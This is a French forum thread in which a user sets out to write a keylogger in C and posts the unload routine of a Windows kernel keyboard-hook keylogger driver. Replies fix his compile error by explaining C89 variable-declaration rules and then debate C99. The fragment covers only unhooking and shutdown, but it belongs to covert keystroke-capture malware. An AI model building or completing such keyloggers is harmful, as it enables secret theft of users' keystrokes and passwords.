Comment developper un keylogger en C?

Salut,

Je souhaite développer un keylogger en C. J'ai trouvé sur ce site un code qui permet de le faire :
http://www.cppfrance.com/infomsg_COMPILATION-DRIVER-WINDOWS_918558.aspx

Mais je souhaite plutot, pour une initiation,  comprendre comment programmer un keylogger: quelles sont les différentes étapes en détails. Connaissez vous des sites qui en parlent?

Merci beaucoup

Bonnes fetes

des dizaines de sources de keylogger ont été soumis sur cppfrance. Il n'y a que l'embarras du choix !

Fais une recherche par mot clé 'keylogger'..

J'ai commencé la programmation et je me trouve confronté à un problème lors de la compilation. Je vous mets ci-dessous le code de la fonction où se produit l'erreur.
KTIMER est défini dans la bibliothèque ntddk.h. Je fais l'inclusion de cette dernière mais j'ai le message d'erreur suivant:

c:\monkeylogger\keyslogger.c(21) : error C2275: 'KTIMER' : illegal use of this t
ype as an expression
c:\monkeylogger\keyslogger.c(21) : error C2146: syntax error : missing ';' befor
e identifier 'kTimer'
c:\monkeylogger\keyslogger.c(21) : error C2065: 'kTimer' : undeclared identifier

c:\monkeylogger\keyslogger.c(22) : error C2275: 'LARGE_INTEGER' : illegal use of
 this type as an expression
c:\monkeylogger\keyslogger.c(22) : error C2146: syntax error : missing ';' befor
e identifier 'timeout'
c:\monkeylogger\keyslogger.c(22) : error C2065: 'timeout' : undeclared identifie
r
c:\monkeylogger\keyslogger.c(23) : error C2224: left of '.QuadPart' must have st


#include <ntddk.h>
#include "keysLogger.h"



int numPendingIrps = 0;

//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){
    
    // Get the pointer to the device extension.
  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
  DbgPrint("Driver Unload Called...\n");

    // Detach from the device underneath that we're hooked to.
      IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
    DbgPrint("Keyboard hook detached from device...\n");

    // Create a timer.
  KTIMER  kTimer;
  LARGE_INTEGER timeout;
  timeout.QuadPart = 1000000;// .1 s
  KeInitializeTimer(&kTimer);
    
  while(numPendingIrps > 0){
   // Set the timer.
   //les deux fonctions qui suivent prennent en paramètre bel et bien un pointeur sur un KTIMER
   //donc je ne comprend pas pourquoi c'est marqué "illegal use of .... as an expression"!!!!!!!
   KeSetTimer(&kTimer,timeout,NULL);
   KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
  }

    // Set our key logger worker thread to terminate.
  pKeyboardDeviceExtension->bThreadTerminate = 1;
    // Wake up the thread if its blocked & WaitForXXX after this call.
  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);

    // Wait until the worker thread terminates.
  DbgPrint("Waiting for key logger thread to terminate...\n");
  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
  DbgPrint("Key logger thread terminated\n");
    // Close the log file.
  ZwClose(pKeyboardDeviceExtension->hLogFile);

    // Delete the device.
  IoDeleteDevice(pDriverObject->DeviceObject);
  DbgPrint("Tagged IRPs dead...Terminating...\n");
  return;
}




Est ce que vous avez une idée  de comment ce problème peut être résolu?

Merci pour votre aide!

Si tu compiles en C, les variables doivent être déclarées en début de fonction.

C++ (@++)

Effectivement, c'est ça le problème! Est ce que tu m'expliquer pourquoi? merci

Non je l'ignore.
En fait, ce n'est pas obligatoirement en début de fonction, ce peut être aussi au début d'un bloque de code:

if (x == 1) {
    int i = 5; // <- VALIDE (utilisable seulement dans ce if)
    printf("%d\n", i);
}

while (x == 1) {
    int i = 5; // <- VALIDE (utilisable seulement dans ce while)
    printf("%d\n", i);
}

etc. etc. etc.

Une fois le code compilé, ça reviendra au même que de l'avoir déclaré en début de fonction. Cependant, la porté de la variable sera limité à son bloque de code.

C++ (@++)

Espérons que ça dure, ce C99 est une daube de nivellement par le bas.

ciao...
BruNews, MVP VC++

Entièrement d'accord avec toi...

La révision 99 essaie juste de gommer les disparités en C et C++ et comme tu le précises nivelle vers le bas (tableaux dynamiques, ...)
La seule chose qui pourrait m'intéresser ce sont les macro à argument variables...

Noeux Joel !

vicenzo >> Oui c'est sûr mais...
Pourquoi avec un compilateur non C99, il faut obligatoirement déclarer ses variables en début de bloc ? C'est une raison esthétique, technique ?
Pour ma part c'est clair que déclarer une variable au début d'un bloc est bien plus lisible que de la déclarer au milieux de nul part mais y a t-il une autre raison ?

C++ (@++)